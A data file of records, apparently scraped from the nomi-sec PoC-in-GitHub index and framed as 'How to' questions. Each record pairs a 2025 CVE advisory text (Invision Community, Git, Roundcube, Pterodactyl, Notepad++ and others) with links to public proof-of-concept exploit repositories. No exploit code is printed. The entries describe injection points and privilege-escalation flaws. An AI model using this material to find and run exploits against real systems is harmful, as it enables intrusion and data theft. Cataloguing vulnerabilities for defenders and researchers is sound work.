{"id": "gh_effbff83e8ec", "question": "How to: CVE-2025-47916 (2025-05-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInvision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (file: /applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method; hence it is evaluated by the template engine. Accordingly, this can be exploited by unauthenticated attackers to inject and execute arbitrary PHP code by providing crafted template strings.\n```\n- [Web3-Serializer/CVE-2025-47916](https://github.com/Web3-Serializer/CVE-2025-47916)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156453"}
{"id": "gh_da4ddabfc9d5", "question": "How to: CVE-2025-47917 (2025-07-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMbed TLS before 3.6.4 allows a use-after-free in certain situations of applications that are developed in accordance with the documentation. The function mbedtls_x509_string_to_names() takes a head argument that is documented as an output argument. The documentation does not suggest that the function will free that pointer; however, the function does call mbedtls_asn1_free_named_data_list() on that argument, which performs a deep free(). As a result, application code that uses this function (relying only on documented behavior) is likely to still hold pointers to the memory blocks that were freed, resulting in a high risk of use-after-free or double-free. In particular, the two sample programs x509/cert_write and x509/cert_req are affected (use-after-free if the san string contains more than one DN).\n```\n- [byteReaper77/CVE-2025-47917](https://github.com/byteReaper77/CVE-2025-47917)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156458"}
{"id": "gh_834c79b1bd3e", "question": "How to: CVE-2025-47962 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper access control in Windows SDK allows an authorized attacker to elevate privileges locally.\n```\n- [q1uf3ng/CVE-2025-47962-POC](https://github.com/q1uf3ng/CVE-2025-47962-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156462"}
{"id": "gh_2bff03b704c4", "question": "How to: CVE-2025-47987 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nHeap-based buffer overflow in Windows Cred SSProvider Protocol allows an authorized attacker to elevate privileges locally.\n```\n- [Kryptoenix/CVE-2025-47987_PoC](https://github.com/Kryptoenix/CVE-2025-47987_PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156467"}
{"id": "gh_2105adf88336", "question": "How to: CVE-2025-48060 (2025-05-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\njq is a command-line JSON processor. In versions up to and including 1.7.1, a heap-buffer-overflow is present in function `jv_string_vfmt` in the jq_fuzz_execute harness from oss-fuzz. This crash happens on file jv.c, line 1456 `void* p = malloc(sz);`. As of time of publication, no patched versions are available.\n```\n- [leorivass/jq-els-backport-cve-2025-48060](https://github.com/leorivass/jq-els-backport-cve-2025-48060)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156471"}
{"id": "gh_d277f3cfbf84", "question": "How to: CVE-2025-48129 (2025-06-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Privilege Assignment vulnerability in Holest Engineering Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light allows Privilege Escalation. This issue affects Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light: from n/a through 2.4.37.\n```\n- [Nxploited/CVE-2025-48129](https://github.com/Nxploited/CVE-2025-48129)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156476"}
{"id": "gh_31ce60342aa5", "question": "How to: CVE-2025-48384 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nGit is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. This vulnerability is fixed in v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1.\n```\n- [acheong08/CVE-2025-48384](https://github.com/acheong08/CVE-2025-48384)\n- [fishyyh/CVE-2025-48384](https://github.com/fishyyh/CVE-2025-48384)\n- [kallydev/cve-2025-48384-hook](https://github.com/kallydev/cve-2025-48384-hook)\n- [fishyyh/CVE-2025-48384-POC](https://github.com/fishyyh/CVE-2025-48384-POC)\n- [liamg/CVE-2025-48384-submodule](https://github.com/liamg/CVE-2025-48384-submodule)\n- [liamg/CVE-2025-48384](https://github.com/liamg/CVE-2025-48384)\n- [ppd520/CVE-2025-48384](https://github.com/ppd520/CVE-2025-48384)\n- [NigelX/CVE-2025-48384](https://github.com/NigelX/CVE-2025-48384)\n- [greatyy/CVE-2025-48384-p](https://github.com/greatyy/CVE-2025-48384-p)\n- [testdjshan/CVE-2025-48384](https://github.com/testdjshan/CVE-2025-48384)\n- [altm4n/cve-2025-48384](https://github.com/altm4n/cve-2025-48384)\n- [altm4n/cve-2025-48384-hub](https://github.com/altm4n/cve-2025-48384-hub)\n- [p1026/CVE-2025-48384](https://github.com/p1026/CVE-2025-48384)\n- [vinieger/vinieger-CVE-2025-48384-Dockerfile](https://github.com/vinieger/vinieger-CVE-2025-48384-Dockerfile)\n- [ECHO6789/CVE-2025-48384-submodule](https://github.com/ECHO6789/CVE-2025-48384-submodule)\n- [nguyentranbaotran/cve-2025-48384-poc](https://github.com/nguyentranbaotran/cve-2025-48384-poc)\n- [admin-ping/CVE-2025-48384-RCE](https://github.com/admin-ping/CVE-2025-48384-RCE)\n- [simplyfurious/CVE-2025-48384-submodule_test](https://github.com/simplyfurious/CVE-2025-48384-submodule_test)\n- [Anezatraa/CVE-2025-48384-submodule](https://github.com/Anezatraa/CVE-2025-48384-submodule)\n- [IK-20211125/CVE-2025-48384](https://github.com/IK-20211125/CVE-2025-48384)\n- [elprogramadorgt/CVE-2025-48384](https://github.com/elprogramadorgt/CVE-2025-48384)\n- [f1shh/CVE-2025-48384](https://github.com/f1shh/CVE-2025-48384)\n- [fluoworite/CVE-2025-48384](https://github.com/fluoworite/CVE-2025-48384)\n- [fluoworite/CVE-2025-48384-sub](https://github.com/fluoworite/CVE-2025-48384-sub)\n- [beishanxueyuan/CVE-2025-48384](https://github.com/beishanxueyuan/CVE-2025-48384)\n- [beishanxueyuan/CVE-2025-48384-test](https://github.com/beishanxueyuan/CVE-2025-48384-test)\n- [replicatorbot/CVE-2025-48384](https://github.com/replicatorbot/CVE-2025-48384)\n- [replicatorbot/CVE-2025-48384-POC](https://github.com/replicatorbot/CVE-2025-48384-POC)\n- [eliox01/CVE-2025-48384](https://github.com/eliox01/CVE-2025-48384)\n- [jacobholtz/CVE-2025-48384-poc](https://github.com/jacobholtz/CVE-2025-48384-poc)\n- [jacobholtz/CVE-2025-48384-submodule](https://github.com/jacobholtz/CVE-2025-48384-submodule)\n- [butyraldehyde/CVE-2025-48384-PoC-Part2](https://github.com/butyraldehyde/CVE-2025-48384-PoC-Part2)\n- [butyraldehyde/CVE-2025-48384-PoC](https://github.com/butyraldehyde/CVE-2025-48384-PoC)\n- [arun1033/CVE-2025-48384](https://github.com/arun1033/CVE-2025-48384)\n- [s41r4j/CVE-2025-48384](https://github.com/s41r4j/CVE-2025-48384)\n- [s41r4j/CVE-2025-48384-submodule](https://github.com/s41r4j/CVE-2025-48384-submodule)\n- [zr0n/CVE-2025-48384-sub](https://github.com/zr0n/CVE-2025-48384-sub)\n- [zr0n/CVE-2025-48384-main](https://github.com/zr0n/CVE-2025-48384-main)\n- [vignesh21-git/CVE-2025-48384](https://github.com/vignesh21-git/CVE-2025-48384)\n- [vignesh21-git/CVE-2025-48384-submodule](https://github.com/vignesh21-git/CVE-2025-48384-submodule)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156488"}
{"id": "gh_a45349c9e37d", "question": "How to: CVE-2025-48461 (2025-06-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSuccessful exploitation of the vulnerability could allow an unauthenticated attacker to conduct brute force guessing and account takeover as the session cookies are predictable, potentially allowing the attackers to gain root, admin or user access and reset passwords.\n```\n- [joelczk/CVE-2025-48461](https://github.com/joelczk/CVE-2025-48461)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156495"}
{"id": "gh_c3959a303640", "question": "How to: CVE-2025-48466 (2025-06-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSuccessful exploitation of the vulnerability could allow an unauthenticated, remote attacker to send Modbus TCP packets to manipulate Digital Outputs, potentially allowing remote control of relay channel which may lead to operational or safety risks.\n```\n- [shipcod3/CVE-2025-48466](https://github.com/shipcod3/CVE-2025-48466)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156499"}
{"id": "gh_bc6a643ee3ed", "question": "How to: CVE-2025-48507 (2025-11-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe security state of the calling processor into Trusted Firmware (TF-A) is not used and could potentially allow non-secure processors access to secure memories, access to crypto operations, and the ability to turn on and off subsystems within the SOC.\n```\n- [jdbonfils/PoC_CVE-2025-48507](https://github.com/jdbonfils/PoC_CVE-2025-48507)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156504"}
{"id": "gh_aeff0e220e6b", "question": "How to: CVE-2025-48543 (2025-09-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn multiple locations, there is a possible way to escape chrome sandbox to attack android system_server due to a use after free. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n```\n- [gamesarchive/CVE-2025-48543](https://github.com/gamesarchive/CVE-2025-48543)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156508"}
{"id": "gh_6b35e8fd3e87", "question": "How to: CVE-2025-48593 (2025-11-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn bta_hf_client_cb_init of bta_hf_client_main.cc, there is a possible remote code execution due to a use after free. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.\n```\n- [zhuowei/blueshrimp](https://github.com/zhuowei/blueshrimp)\n- [ranasen-rat/CVE-2025-48593](https://github.com/ranasen-rat/CVE-2025-48593)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156513"}
{"id": "gh_421ec1179559", "question": "How to: CVE-2025-48633 (2025-12-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn hasAccountsOnAnyUser of DevicePolicyManagerService.java, there is a possible way to add a Device Owner after provisioning due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n```\n- [Ashwesker/Ashwesker-CVE-2025-48633](https://github.com/Ashwesker/Ashwesker-CVE-2025-48633)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156517"}
{"id": "gh_c362799ab444", "question": "How to: CVE-2025-48703 (2025-09-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1205 allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known.\n```\n- [Skynoxk/CVE-2025-48703](https://github.com/Skynoxk/CVE-2025-48703)\n- [itstarsec/CVE-2025-48703](https://github.com/itstarsec/CVE-2025-48703)\n- [ftz7/PoC-CVE-2025-48703](https://github.com/ftz7/PoC-CVE-2025-48703)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156522"}
{"id": "gh_9690f69193e0", "question": "How to: CVE-2025-48708 (2025-05-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\ngs_lib_ctx_stash_sanitized_arg in base/gslibctx.c in Artifex Ghostscript before 10.05.1 lacks argument sanitization for the # case. A created PDF document includes its password in cleartext.\n```\n- [B1tBreaker/CVE-2025-48708](https://github.com/B1tBreaker/CVE-2025-48708)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156526"}
{"id": "gh_13680141d9f9", "question": "How to: CVE-2025-48799 (2025-07-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper link resolution before file access ('link following') in Windows Update Service allows an authorized attacker to elevate privileges locally.\n```\n- [Wh04m1001/CVE-2025-48799](https://github.com/Wh04m1001/CVE-2025-48799)\n- [painoob/CVE-2025-48799](https://github.com/painoob/CVE-2025-48799)\n- [gmh5225/CVE-2025-48799-](https://github.com/gmh5225/CVE-2025-48799-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156530"}
{"id": "gh_952b4b33d1bb", "question": "How to: CVE-2025-48827 (2025-05-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nvBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 allows unauthenticated users to invoke protected API controllers' methods when running on PHP 8.1 or later, as demonstrated by the /api.php?method=protectedMethod pattern, as exploited in the wild in May 2025.\n```\n- [0xgh057r3c0n/CVE-2025-48827](https://github.com/0xgh057r3c0n/CVE-2025-48827)\n- [wiseep/CVE-2025-48827](https://github.com/wiseep/CVE-2025-48827)\n- [SystemVll/CVE-2025-48827](https://github.com/SystemVll/CVE-2025-48827)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156535"}
{"id": "gh_b1ee386a3265", "question": "How to: CVE-2025-48828 (2025-05-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCertain vBulletin versions might allow attackers to execute arbitrary PHP code by abusing Template Conditionals in the template engine. By crafting template code in an alternative PHP function invocation syntax, such as the \"var_dump\"(\"test\") syntax, attackers can bypass security checks and execute arbitrary PHP code, as exploited in the wild in May 2025.\n```\n- [ill-deed/vBulletin-CVE-2025-48828-Multi-target](https://github.com/ill-deed/vBulletin-CVE-2025-48828-Multi-target)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156539"}
{"id": "gh_4f4a3189ecd4", "question": "How to: CVE-2025-48932", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [XploitGh0st/CVE-2025-48932---exploit](https://github.com/XploitGh0st/CVE-2025-48932---exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156543"}
{"id": "gh_37dbd29fc743", "question": "How to: CVE-2025-48976 (2025-06-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAllocation of resources for multipart headers with insufficient limits enabled a DoS vulnerability in Apache Commons FileUpload.\\n\\nThis issue affects Apache Commons FileUpload: from 1.0 before 1.6; from 2.0.0-M1 before 2.0.0-M4.\\n\\nUsers are recommended to upgrade to versions 1.6 or 2.0.0-M4, which fix the issue.\n```\n- [nankuo/CVE-2025-48976_CVE-2025-48988](https://github.com/nankuo/CVE-2025-48976_CVE-2025-48988)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156548"}
{"id": "gh_5e56a85283ef", "question": "How to: CVE-2025-48988 (2025-06-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAllocation of Resources Without Limits or Throttling vulnerability in Apache Tomcat.\\n\\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.7, from 10.1.0-M1 through 10.1.41, from 9.0.0.M1 through 9.0.105.\\nThe following versions were EOL at the time the CVE was created but are \\nknown to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions \\nmay also be affected.\\n\\n\\nUsers are recommended to upgrade to version 11.0.8, 10.1.42 or 9.0.106, which fix the issue.\n```\n- [Samb102/POC-CVE-2025-48988-CVE-2025-48976](https://github.com/Samb102/POC-CVE-2025-48988-CVE-2025-48976)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156552"}
{"id": "gh_9f1ad3722730", "question": "How to: CVE-2025-49029 (2025-07-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0.\n```\n- [Nxploited/CVE-2025-49029](https://github.com/Nxploited/CVE-2025-49029)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156559"}
{"id": "gh_62d7c5b1541f", "question": "How to: CVE-2025-49071 (2025-06-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnrestricted Upload of File with Dangerous Type vulnerability in NasaTheme Flozen allows Upload a Web Shell to a Web Server. This issue affects Flozen: from n/a through n/a.\n```\n- [xShadow-Here/CVE-2025-49071](https://github.com/xShadow-Here/CVE-2025-49071)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156563"}
{"id": "gh_fb4a035ccd6f", "question": "How to: CVE-2025-49113 (2025-06-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRoundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n```\n- [rxerium/CVE-2025-49113](https://github.com/rxerium/CVE-2025-49113)\n- [Ademking/CVE-2025-49113-nuclei-template](https://github.com/Ademking/CVE-2025-49113-nuclei-template)\n- [fearsoff-org/CVE-2025-49113](https://github.com/fearsoff-org/CVE-2025-49113)\n- [rasool13x/exploit-CVE-2025-49113](https://github.com/rasool13x/exploit-CVE-2025-49113)\n- [SyFi/CVE-2025-49113](https://github.com/SyFi/CVE-2025-49113)\n- [hakaioffsec/CVE-2025-49113-exploit](https://github.com/hakaioffsec/CVE-2025-49113-exploit)\n- [BiiTts/Roundcube-CVE-2025-49113](https://github.com/BiiTts/Roundcube-CVE-2025-49113)\n- [Yuri08loveElaina/CVE-2025-49113](https://github.com/Yuri08loveElaina/CVE-2025-49113)\n- [Ashwesker/Ashwesker-CVE-2025-49113](https://github.com/Ashwesker/Ashwesker-CVE-2025-49113)\n- [5kr1pt/Roundcube_CVE-2025-49113](https://github.com/5kr1pt/Roundcube_CVE-2025-49113)\n- [punitdarji/roundcube-cve-2025-49113](https://github.com/punitdarji/roundcube-cve-2025-49113)\n- [hackmelocal/CVE-2025-49113-Simulation](https://github.com/hackmelocal/CVE-2025-49113-Simulation)\n- [Joelp03/CVE-2025-49113](https://github.com/Joelp03/CVE-2025-49113)\n- [00xCanelo/CVE-2025-49113](https://github.com/00xCanelo/CVE-2025-49113)\n- [CyberQuestor-infosec/CVE-2025-49113-Roundcube_1.6.10](https://github.com/CyberQuestor-infosec/CVE-2025-49113-Roundcube_1.6.10)\n- [SteamPunk424/CVE-2025-49113-Roundcube-RCE-PHP](https://github.com/SteamPunk424/CVE-2025-49113-Roundcube-RCE-PHP)\n- [Zwique/CVE-2025-49113](https://github.com/Zwique/CVE-2025-49113)\n- [AC8999/CVE-2025-49113](https://github.com/AC8999/CVE-2025-49113)\n- [LeakForge/CVE-2025-49113](https://github.com/LeakForge/CVE-2025-49113)\n- [Zuack55/Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-](https://github.com/Zuack55/Roundcube-1.6.10-Post-Auth-RCE-CVE-2025-49113-)\n- [l4f2s4/CVE-2025-49113_exploit_cookies](https://github.com/l4f2s4/CVE-2025-49113_exploit_cookies)\n- [ankitpandey383/roundcube-cve-2025-49113-lab](https://github.com/ankitpandey383/roundcube-cve-2025-49113-lab)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156570"}
{"id": "gh_71ad8eea2c98", "question": "How to: CVE-2025-49125 (2025-06-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAuthentication Bypass Using an Alternate Path or Channel vulnerability in Apache Tomcat.  When using PreResources or PostResources mounted other than at the root of the web application, it was possible to access those resources via an unexpected path. That path was likely not to be protected by the same security constraints as the expected path, allowing those security constraints to be bypassed.\\n\\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.7, from 10.1.0-M1 through 10.1.41, from 9.0.0.M1 through 9.0.105.\\nThe following versions were EOL at the time the CVE was created but are \\nknown to be affected: 8.5.0 through 8.5.100. Other, older, EOL versions \\nmay also be affected.\\n\\n\\nUsers are recommended to upgrade to version 11.0.8, 10.1.42 or 9.0.106, which fix the issue.\n```\n- [gregk4sec/CVE-2025-49125](https://github.com/gregk4sec/CVE-2025-49125)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156577"}
{"id": "gh_f7960a9cc941", "question": "How to: CVE-2025-49131 (2025-06-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nFastGPT is an open-source project that provides a platform for building, deploying, and operating AI-driven workflows and conversational agents. The Sandbox container (fastgpt-sandbox) is a specialized, isolated environment used by FastGPT to safely execute user-submitted or dynamically generated code in isolation. The sandbox before version 4.9.11 has insufficient isolation and inadequate restrictions on code execution by allowing overly permissive syscalls, which allows attackers to escape the intended sandbox boundaries. Attackers could exploit this to read and overwrite arbitrary files and bypass Python module import restrictions. This is patched in version 4.9.11 by restricting the allowed system calls to a safer subset and additional descriptive error messaging.\n```\n- [Wenura17125/cve-2025-49131-poc](https://github.com/Wenura17125/cve-2025-49131-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156582"}
{"id": "gh_17ce4523c980", "question": "How to: CVE-2025-49132 (2025-06-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nPterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code it could be used to gain access to the Panel's server, read credentials from the Panel's config, extract sensitive information from the database, access files of servers managed by the panel, etc. This issue has been patched in version 1.11.11. There are no software workarounds for this vulnerability, but use of an external Web Application Firewall (WAF) could help mitigate this attack.\n```\n- [typicalsmc/CVE-2025-49132-PoC](https://github.com/typicalsmc/CVE-2025-49132-PoC)\n- [Zen-kun04/CVE-2025-49132](https://github.com/Zen-kun04/CVE-2025-49132)\n- [pxxdrobits/CVE-2025-49132](https://github.com/pxxdrobits/CVE-2025-49132)\n- [qiaojojo/CVE-2025-49132_poc](https://github.com/qiaojojo/CVE-2025-49132_poc)\n- [63square/CVE-2025-49132](https://github.com/63square/CVE-2025-49132)\n- [melonlonmeo/CVE-2025-49132](https://github.com/melonlonmeo/CVE-2025-49132)\n- [0xtensho/CVE-2025-49132-poc](https://github.com/0xtensho/CVE-2025-49132-poc)\n- [GRodolphe/CVE-2025-49132_poc](https://github.com/GRodolphe/CVE-2025-49132_poc)\n- [WebSafety-2tina/CVE-2025-49132](https://github.com/WebSafety-2tina/CVE-2025-49132)\n- [f3d0rq/CVE-2025-49132](https://github.com/f3d0rq/CVE-2025-49132)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156588"}
{"id": "gh_b4c02c7dee37", "question": "How to: CVE-2025-49144 (2025-06-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nNotepad++ is a free and open-source source code editor. In versions 8.8.1 and prior, a privilege escalation vulnerability exists in the Notepad++ v8.8.1 installer that allows unprivileged users to gain SYSTEM-level privileges through insecure executable search paths. An attacker could use social engineering or clickjacking to trick users into downloading both the legitimate installer and a malicious executable to the same directory (typically Downloads folder - which is known as Vulnerable directory). Upon running the installer, the attack executes automatically with SYSTEM privileges. This issue has been fixed and will be released in version 8.8.2.\n```\n- [Vr00mm/CVE-2025-49144](https://github.com/Vr00mm/CVE-2025-49144)\n- [TheTorjanCaptain/CVE-2025-49144_PoC](https://github.com/TheTorjanCaptain/CVE-2025-49144_PoC)\n- [assad12341/notepad-v8.8.1-LPE-CVE-](https://github.com/assad12341/notepad-v8.8.1-LPE-CVE-)\n- [b0ySie7e/Notepad-8.8.1_CVE-2025-49144](https://github.com/b0ySie7e/Notepad-8.8.1_CVE-2025-49144)\n- [timsonner/CVE-2025-49144-Research](https://github.com/timsonner/CVE-2025-49144-Research)\n- [0xCZR1/cve-2025-49144](https://github.com/0xCZR1/cve-2025-49144)\n- [onniio/CVE-2025-49144](https://github.com/onniio/CVE-2025-49144)\n- [ammarm0010/CVE-2025-49144_PoC](https://github.com/ammarm0010/CVE-2025-49144_PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.156594"}
